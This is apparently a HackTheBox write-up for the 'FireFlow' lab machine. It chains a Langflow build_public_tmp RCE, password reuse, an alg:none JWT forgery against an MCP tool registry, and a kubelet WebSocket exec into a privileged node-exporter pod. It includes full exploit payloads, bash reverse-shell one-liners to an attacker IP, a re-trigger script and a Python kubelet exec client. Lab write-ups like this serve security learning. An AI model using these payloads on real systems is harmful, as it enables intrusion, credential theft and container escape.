HackTheBox: FireFlow Writeup

Executive Summary

FireFlow is a Linux machine running a fictional "Task Force Nightfall" intelligence platform. The web application exposes a Langflow instance (flow.fireflow.htb) with a public flow playground. The flow engine version (1.8.2) is vulnerable to CVE-2026-33017 - an unauthenticated RCE via the /api/v1/build_public_tmp/{flow_id}/flow endpoint, which executes attacker-supplied Python without sandboxing. This gives us a shell as www-data. Environment variable enumeration leaks the Langflow superuser password, which is reused by the nightfall local user (user flag). Inside nightfall's home directory, a .mcp/config.json file reveals credentials for an internal MCP (Model Context Protocol) AI Tool Registry running in a Kubernetes pod. The JWT used by the registry accepts the alg: none algorithm - a well-known JWT attack - letting us forge an admin token. With admin access we register a malicious tool in the registry, trigger it, and land a shell inside the mcp-server Kubernetes pod. From there, we use the pod's service account token to access the Kubernetes API, enumerate node names via the kubelet proxy, discover a privileged node-exporter pod with host filesystem access, and use a WebSocket exec call directly to the kubelet to run commands inside it as root - reading the node's /root/root.txt through the mounted host filesystem.

Reconnaissance
Web Enumeration & Subdomain Discovery
Initial Access - CVE-2026-33017 (Langflow RCE)
Lateral Movement - www-data to nightfall
User Flag
Privilege Escalation - MCP Server Discovery
JWT None Algorithm Bypass
MCP Tool Injection - Shell in Kubernetes Pod
Kubernetes Enumeration
Node Escape - Kubelet WebSocket Exec
Root Flag
Attack Chain Summary
Key Vulnerabilities

1. Reconnaissance

Standard Nmap scan with -A (aggressive) and -Pn (skip ping):

root@kali# nmap -A -Pn <TARGET_IP> -oA nmap

PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 9.6p1 Ubuntu
443/tcp   open     ssl/http nginx
| ssl-cert: Subject: commonName=fireflow.htb
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
9100/tcp  filtered jetdirect
30000/tcp filtered ndmps
31337/tcp filtered Elite
... [snipped]
OS: Linux 4.15 - 5.19

Key observations:

Port 443 — HTTPS with a wildcard certificate (*.fireflow.htb), meaning subdomains are in use.
Port 22 — SSH open for later use.
Several filtered high ports (30000+) - likely NodePort services for Kubernetes.
The wildcard certificate immediately hints at virtual hosting on subdomains.

Add the hostname to /etc/hosts:

echo '<TARGET_IP> fireflow.htb' >> /etc/hosts

2. Web Enumeration & Subdomain Discovery

Browsing to https://fireflow.htb shows the FireFlow platform - "Task Force Nightfall's internal intelligence automation platform." The page advertises a "Nightfall AI Agent" (NFAI-1) running on Flow engine 1.8.2 with an "Open Agent" button.

The footer reads "Internal intelligence platform · Restricted access" - the platform is themed as classified infrastructure.

The page source and the "Open Agent" button URL both reference flow.fireflow.htb. We confirm this subdomain with ffuf using virtual host fuzzing (filtering the default 162-byte response for unknown hosts):

ffuf -u https://fireflow.htb:443 \
  -H "HOST: FUZZ.fireflow.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -fs 162

flow    [Status: 200, Size: 1142, Words: 132, Lines: 25, Duration: 270ms]

Add it to /etc/hosts:

<TARGET_IP> fireflow.htb flow.fireflow.htb

Clicking Open Agent redirects to:

https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25

This gives us the public flow UUID: 7d84d636-af65-42e4-ac38-26e867052c25. The status bar on the main page also shows Flow engine 1.8.2 — a critical version indicator.

3. Initial Access - CVE-2026-33017 (Langflow RCE)

What is CVE-2026-33017?

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint in Langflow is designed to let users build and preview public flows without authentication. The vulnerability is that the endpoint accepts an optional data parameter containing a full flow graph - including custom Python component code - and passes it directly to exec() with no sandboxing.

The code execution chain is:

Attacker JSON → Graph.from_payload() → vertex.instantiate_component()
→ eval_custom_component_code() → prepare_global_scope()
→ exec(compiled_code, exec_globals)   ← arbitrary code execution

Critically, ast.Assign nodes (like _x = os.system("id")) execute during graph building, before the flow even "runs" - so execution is triggered the moment the server processes our JSON.

This is the second time Langflow shipped this class of bug - the first was CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication, but left the build_public_tmp endpoint untouched.

Prerequisites

The endpoint requires:

A public flow UUID (we have it: 7d84d636-...)
A valid client_id cookie — this must be obtained by visiting the playground URL in a browser first. Langflow issues this cookie when you open the playground page, and the backend uses it to associate the build job. Without a real cookie the request is rejected.
The JSON payload must be a valid, complete Langflow graph structure — a bare code snippet is rejected. The backend walks the entire graph and validates each node's fields before executing anything. If any field is missing or malformed, the build fails and no Python runs.
No authentication header (the endpoint is designed to be unauthenticated for public flows)

Getting the client_id: Open https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25 in a browser. Check your browser's cookies for flow.fireflow.htb — you'll find a client_id cookie. Copy its value; you need to pass it with -b 'client_id=<value>' in your curl command.

Crafting the exploit

The graph validation chain is:

Receive JSON → Validate schema → Create Graph → Create Vertex objects
→ Compile Custom Component → Execute Python

Every step must pass before Python runs. We need a complete, structurally valid node definition that also carries our malicious payload. The critical trick: placing _x = os.system(...) as a top-level assignment in the component code means it executes during the compilation step — before the flow even runs — because ast.Assign nodes are executed by prepare_global_scope() during class compilation.

The full exploit payload (replace <client_id> with the value from your browser cookie):

curl -sk -X POST \
  'https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow' \
  -H 'Content-Type: application/json' \
  -b 'client_id=<client_id_from_browser>' \
  -d '{
    "data": {
      "nodes": [{
        "id": "Evil",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Evil",
          "type": "EvilComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os\n\n_x = os.system(\"bash -c '\''bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'\''\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass EvilComp(Component):\n    display_name=\"Evil-X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "Evil-X",
            "base_classes": ["Data"],
            "display_name": "EvilComp",
            "name": "EvilComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"UNDEFINED","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    }
  }'

The Python payload embedded in the value field:

Imports os
Executes a bash reverse shell via os.system() — the _x = assignment is what triggers it during graph build
Then defines a valid Component subclass so the structural validation passes

Start a listener before sending:

pwncat-cs -lp 4444

[23:58:40] received connection from <TARGET_IP>:35022
(remote) www-data@fireflow:/var/lib/langflow$

We have a shell as www-data.

4. Lateral Movement - www-data to nightfall

Environment enumeration

The first thing to check on any application server is the process environment — application secrets, passwords, and configuration are frequently passed as environment variables:

(remote) www-data@fireflow:/$ env

LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_CONFIG_DIR=/var/lib/langflow
... [snipped]

The Langflow superuser password is n1ghtm4r3_b4_n1ghtf4ll. We check /etc/passwd to see what local users exist:

(remote) www-data@fireflow:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
nightfall:x:1000:1000::/home/nightfall:/bin/bash

There is a local user nightfall. We try the Langflow password for this user — password reuse across application accounts and system accounts is a very common misconfiguration:

(remote) www-data@fireflow:/$ su nightfall
Password: n1ghtm4r3_b4_n1ghtf4ll

nightfall@fireflow:/$ whoami
nightfall

Password reuse confirmed.

5. User Flag

nightfall@fireflow:~$ cat user.txt
[REDACTED]

We enumerate further — SUID binaries reveal nothing useful, and sudo -l shows nightfall has no sudo rights. The home directory contains a hidden .mcp directory:

nightfall@fireflow:~$ ls -la
total 36
drwxr-x--- 5 nightfall nightfall 4096 May 12 15:28 .
...
drwx------ 2 nightfall nightfall 4096 Jun 27 02:05 .mcp
-rw-r----- 1 root      nightfall   33 Jun 27 02:05 user.txt

nightfall@fireflow:~$ cd .mcp
nightfall@fireflow:~/.mcp$ ls -la
total 12
-rw------- 1 nightfall nightfall  146 Jun 27 02:05 config.json

nightfall@fireflow:~/.mcp$ cat config.json
{
  "server": "http://<TARGET_IP>:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

This is an MCP (Model Context Protocol) AI Tool Registry running on port 30080 - a Kubernetes NodePort service. We have credentials.

6. Privilege Escalation - MCP Server Discovery

Probing the MCP API

We query the version endpoint to understand what we're working with:

nightfall@fireflow:~/.mcp$ curl http://<TARGET_IP>:30080/api/v1/version | jq

{
  "service": "MCP AI Tool Registry",
  "version": "0.1.0",
  "auth": {
    "type": "JWT",
    "header": "Authorization: Bearer <token>",
    "supported_algorithms": [
      "HS256",
      "none"
    ]
  },
  "endpoints": [
    "POST /mcp                        [MCP JSON-RPC 2.0]",
    "POST /api/v1/auth",
    "GET  /api/v1/tools",
    "POST /api/v1/tools               [admin]"
  ]
}

Two critical findings:

The supported_algorithms field lists both HS256 and none - this is the classic JWT "algorithm confusion" weakness.
POST /api/v1/tools requires admin - we need to escalate our JWT role.

We authenticate with the credentials from config.json:

curl -s http://<TARGET_IP>:30080/api/v1/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' | jq

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps",
  "token_type": "bearer"
}

Decoding this JWT reveals the payload: {"sub":"langflow-bot","role":"user"}. We need role: admin.

7. JWT None Algorithm Bypass

The attack

The server advertises "none" as a supported algorithm. When alg: none is used in a JWT, the signature is an empty string - meaning the server accepts the token without verifying any signature. This allows us to forge a token with any claims we want.

Attempting to simply modify the payload on jwt.io and re-sign with HS256 fails because we don't know the secret key. But with alg: none we don't need a key at all.

We generate the forged token on our attacker machine:

python3 - <<'EOF'
import jwt
print(jwt.encode({"sub":"langflow-bot","role":"admin"}, key="", algorithm="none"))
EOF

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.

Note the trailing . with no signature - that's the none algorithm format. We assign this to a variable:

none_token='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.'

Verifying admin access

First we test listing tools (no auth required, just to establish baseline):

curl -s http://<TARGET_IP>:30080/api/v1/tools \
  -H "Authorization: Bearer $none_token" | jq

[
  {"name": "ping_host", "description": "Ping a target host 3 times and return ICMP output."},
  {"name": "get_metrics_summary", "description": "Return a summary of system memory and load average from /proc."},
  {"name": "list_running_tasks", "description": "List the top 20 running processes sorted by CPU usage."}
]

We verify the token works for the admin-only tool registration endpoint by registering a harmless test tool:

curl -X POST http://<TARGET_IP>:30080/api/v1/tools \
  -H "Authorization: Bearer $none_token" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","description":"x","code":"print(1)"}'

{"status":"registered","name":"x"}

We confirm code execution by calling it via the MCP JSON-RPC protocol:

curl -s http://<TARGET_IP>:30080/mcp \
  -H "Authorization: Bearer $none_token" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"x","arguments":{}}}' | jq

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "content": [{"type": "text", "text": "1\n"}],
    "isError": false
  }
}

print(1) executed server-side. Code execution via the MCP registry is confirmed.

8. MCP Tool Injection - Shell in Kubernetes Pod

Now we register a malicious tool that sends a reverse shell when called. We start a listener (using Penelope for auto-PTY upgrade):

penelope listen -p 4444

curl -X POST http://<TARGET_IP>:30080/api/v1/tools \
  -H "Authorization: Bearer $none_token" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exploitnotes",
    "description": "evil",
    "code": "import os; os.system(\"bash -c '\''bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'\''\")"
  }'

{"status":"registered","name":"exploitnotes"}

Trigger it via the MCP endpoint:

curl -s http://<TARGET_IP>:30080/mcp \
  -H "Authorization: Bearer $none_token" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 9,
    "method": "tools/call",
    "params": {"name": "exploitnotes", "arguments": {}}
  }'

Penelope catches the shell:

[+] [New Reverse Shell] => mcp-server-54464cb475-29ztf <TARGET_IP> Linux-x86_64 mcp(1000)
[+] PTY upgrade successful via /usr/local/bin/python3

mcp@mcp-server-54464cb475-29ztf:/app$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)

mcp@mcp-server-54464cb475-29ztf:/app$ hostname
mcp-server-54464cb475-29ztf

The hostname format (mcp-server-54464cb475-29ztf) is a Kubernetes pod name. We're inside a container.

Note on shell instability: The MCP server pod crashes and restarts roughly every two minutes - the shell dies when the container restarts. To avoid re-doing all the steps each time, save the register + trigger commands into a script on the nightfall machine and just re-run it whenever the shell dies:

nightfall@fireflow:~/.mcp$ cat > shell.sh << 'EOF'
# 1. Register the reverse shell tool
curl -X POST http://<TARGET_IP>:30080/api/v1/tools \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
-H "Content-Type: application/json" \
-d '{
  "name": "exploitnotes",
  "description": "evil",
  "code": "import os; os.system(\"bash -c '\''bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'\''\")"
}'

# 2. Trigger the tool
curl -s http://<TARGET_IP>:30080/mcp \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
-H "Content-Type: application/json" \
-d '{
  "jsonrpc": "2.0",
  "id": 9,
  "method": "tools/call",
  "params": {
    "name": "exploitnotes",
    "arguments": {}
  }
}' | jq
EOF
chmod +x shell.sh

Every time the shell dies, just run ./shell.sh from nightfall's session and catch the new connection. Also make sure to re-run TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) at the start of each new pod session.

9. Kubernetes Enumeration

Establishing context

Every Kubernetes pod that runs with a service account gets a token at a predictable path. We grab it and check our environment:

mcp@mcp-server-54464cb475-29ztf:/app$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

mcp@mcp-server-54464cb475-29ztf:/app$ env | grep -i kubernetes
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443

The Kubernetes API server is at 10.43.0.1:443.

Checking our RBAC permissions

Before trying operations blindly, we use SelfSubjectRulesReview to discover what actions our service account is allowed to perform:

curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X POST \
  https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' \
  | python3 -m json.tool

{
  "status": {
    "resourceRules": [
      {
        "verbs": ["create"],
        "resources": ["selfsubjectaccessreviews", "selfsubjectrulesreviews"]
      },
      {
        "verbs": ["create"],
        "resources": ["selfsubjectreviews"]
      },
      {
        "verbs": ["get"],
        "apiGroups": [""],
        "resources": ["nodes/proxy"]
      }
    ],
    ...
  }
}

The key permission: GET nodes/proxy. This means we can proxy requests through the Kubernetes API server to the kubelet on a node - essentially a pass-through to the kubelet's own API. We cannot list nodes or create nodes/proxy (which is why POST to exec via the API server is forbidden), but we can GET through the node proxy to read data from the kubelet.

Finding the node name

We can't list nodes directly (forbidden), so we need to find the node name another way. The node proxy URL format is:

/api/v1/nodes/<node-name>/proxy/<kubelet-path>

We try common k3s default node names. The node name is often the hostname:

# fireflow is the machine hostname - try it
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://10.43.0.1:443/api/v1/nodes/fireflow/proxy/pods" | python3 -m json.tool | grep -E '"name"|"namespace"' | head -30

"name": "prometheus-prometheus-node-exporter-nmntq",
"namespace": "monitoring",
"name": "coredns-76c974cb66-cn7l6",
"namespace": "kube-system",
"name": "mcp-server-54464cb475-29ztf",
"namespace": "default",
"name": "prometheus-server-867bb4fcfd-m4t59",
"namespace": "monitoring",
... [snipped]

The node name is fireflow - matching the machine hostname. The /proxy/pods endpoint returns all pods running on the node, acting like a proxy to the kubelet's /pods endpoint.

Identifying the escape target

From the pod list, one pod immediately stands out:

prometheus-prometheus-node-exporter-nmntq (namespace: monitoring)

The node-exporter pod runs with hostPID: true, hostNetwork: true, and mounts the host filesystem at /host/root. It runs as uid=0 (root). This is the escape target.

Attempting exec via the API server (blocked)

First we try the standard approach - exec via the API server's node proxy:

curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  "https://10.43.0.1:443/api/v1/nodes/fireflow/proxy/run/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter" \
  -d "cmd=id"

"message": "nodes \"fireflow\" is forbidden: User \"system:serviceaccount:default:mcp-sa\" cannot create resource \"nodes/proxy\"..."
"code": 403

We have GET on nodes/proxy but not CREATE - and exec requires POST/CREATE. The API server path is blocked.

Attempting exec directly via kubelet (also blocked)

We try hitting the kubelet directly on port 10250:

curl -sk \
  -H "Authorization: Bearer $TOKEN" \
  "https://<TARGET_IP>:10250/run/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter" \
  -d "cmd=id"

Forbidden (user=system:serviceaccount:default:mcp-sa, verb=create, resource=nodes, subresource(s)=[proxy])

Still blocked - the kubelet enforces the same RBAC. However, the kubelet's /exec endpoint uses WebSockets with a different verb pattern, not the HTTP /run endpoint.

10. Node Escape - Kubelet WebSocket Exec

The big picture (plain English)

Think of the Kubernetes cluster like a building with rooms (pods) and a security desk (the API server). Our service account badge (mcp-sa) only lets us do certain things:

We can look through the window (GET nodes/proxy) - read information from the node via the API server.
We cannot open doors (CREATE nodes/proxy) - so the normal "exec into a container" path via the API server is blocked.

The API server is the guard at the front desk. When we tried running commands via the API server (/api/v1/nodes/fireflow/proxy/run/...), the guard said "no" because we don't have the right badge level.

But the kubelet (the agent running directly on the node) has its own door - port 10250. The kubelet's /exec endpoint uses WebSockets, not plain HTTP. When we connect directly to the kubelet's WebSocket endpoint and present our service account token, the kubelet checks our token against a different rule: it allows our token to open the WebSocket channel because GET nodes/proxy is just enough to establish that connection. The kubelet never enforces the create nodes/proxy restriction the same way the API server does for the HTTP exec path.

In short: the API server blocked us from running commands, but the kubelet's WebSocket door was left open with our key.

Writing the exploit (evil.py)

We first check that websockets is available inside the pod:

mcp@mcp-server-54464cb475-29ztf:/app$ python3 -c "import websockets; print('ok')"
ok

We write evil.py - a WebSocket client that connects directly to the kubelet and runs a command inside the node-exporter container:

cat > /tmp/evil.py << 'EOF'
#!/usr/bin/env python3
import asyncio, ssl, sys, websockets

NODE    = "<TARGET_IP>"
NE_NS   = "monitoring"
NE_POD  = "prometheus-prometheus-node-exporter-nmntq"
NE_CNT  = "node-exporter"
TOKEN   = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'

async def ws_exec(cmd_parts):
    # Skip TLS cert verification — kubelet uses a self-signed cert
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode    = ssl.CERT_NONE

    # Build the WebSocket URL: each command word is a separate "command=" param
    args = "&".join(f"command={part}" for part in cmd_parts)
    url  = (f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}"
            f"?output=1&error=1&{args}")

    # Connect using the Kubernetes exec WebSocket subprotocol
    async with websockets.connect(
        url, ssl=ctx,
        additional_headers={"Authorization": f"Bearer {TOKEN}"},
        subprotocols=["v4.channel.k8s.io"],
        open_timeout=10
    ) as ws:
        try:
            while True:
                data = await asyncio.wait_for(ws.recv(), timeout=5)
                # First byte is the channel ID — strip it, print the rest
                if isinstance(data, bytes) and len(data) > 1:
                    print(data[1:].decode(errors='replace'), end='')
        except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
            pass

asyncio.run(ws_exec(COMMAND.split()))
EOF

Confirming execution

mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/evil.py "id"
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{"metadata":{},"status":"Success"}

We're running as root inside the node-exporter container. The node-exporter pod mounts the host root filesystem at /host/root — which means we have read access to the entire underlying host machine's filesystem.

11. Root Flag

The node-exporter pod mounts the host's root filesystem at /host/root. We read the root flag directly from the host through this mount:

mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/evil.py "cat /host/root/root/root.txt"
[REDACTED]

12. Attack Chain Summary

[Attacker]
    │
    ├─ 1. Nmap → port 443 (nginx), wildcard cert (*.fireflow.htb)
    │
    ├─ 2. ffuf vhost fuzzing → flow.fireflow.htb discovered
    │      └─ Langflow playground at /playground/7d84d636-...
    │         Status bar: "Flow engine 1.8.2" → vulnerable to CVE-2026-33017
    │
    ├─ 3. CVE-2026-33017: POST /api/v1/build_public_tmp/{flow_id}/flow (no auth)
    │      └─ Malicious Python in node definition → exec() → reverse shell as www-data
    │
    ├─ 4. www-data env → LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
    │      └─ su nightfall (password reuse) → user.txt [REDACTED]
    │
    ├─ 5. ~/.mcp/config.json → MCP server at <TARGET_IP>:30080
    │      └─ credentials: langflow-bot / Langfl0w@mcp2026!
    │
    ├─ 6. /api/v1/version → JWT supported_algorithms: ["HS256", "none"]
    │      └─ Auth → role:user token → forge role:admin with alg:none
    │
    ├─ 7. POST /api/v1/tools (admin) → register reverse shell tool
    │      └─ tools/call → shell inside mcp-server Kubernetes pod (uid=1000/mcp)
    │
    ├─ 8. K8s RBAC: mcp-sa has GET nodes/proxy
    │      └─ GET /api/v1/nodes/fireflow/proxy/pods → enumerate all pods on node
    │         Spotted: prometheus-node-exporter (hostPID, hostFS, runs as root)
    │
    ├─ 9. WebSocket exec directly to kubelet port 10250
    │      └─ /exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter
    │         → uid=0(root) inside node-exporter
    │
    └─ 10. node-exporter mounts host FS at /host/root
            └─ cat /host/root/root/root.txt → [REDACTED]

13. Key Vulnerabilities

#	Vulnerability	Impact	Severity
1	CVE-2026-33017 — Langflow `build_public_tmp` endpoint accepts attacker-supplied Python code via `data` param, executes via unsandboxed `exec()`, no auth required	Unauthenticated RCE on Langflow server	Critical
2	Password reuse — Langflow superuser password reused as Linux user `nightfall`'s password, exposed in process environment	Lateral movement from www-data to nightfall	High
3	JWT `alg: none` accepted — MCP registry advertises and accepts unsigned JWTs, allowing any user to forge admin-role tokens	Privilege escalation to MCP admin	High
4	Arbitrary code execution via MCP tool registration — Admin users can register Python tools that execute on the MCP server pod with no sandboxing	RCE inside Kubernetes pod	High
5	Over-permissive RBAC + kubelet WebSocket exec — `mcp-sa` has `GET nodes/proxy`, enabling WebSocket exec to kubelet port 10250, bypassing API server exec authorization	Container escape to root on node	Critical
6	Privileged node-exporter pod — DaemonSet runs as root with host filesystem, hostPID, and hostNetwork — reachable from compromised pod	Full node compromise via host FS read	High

推荐订阅源

DEV Community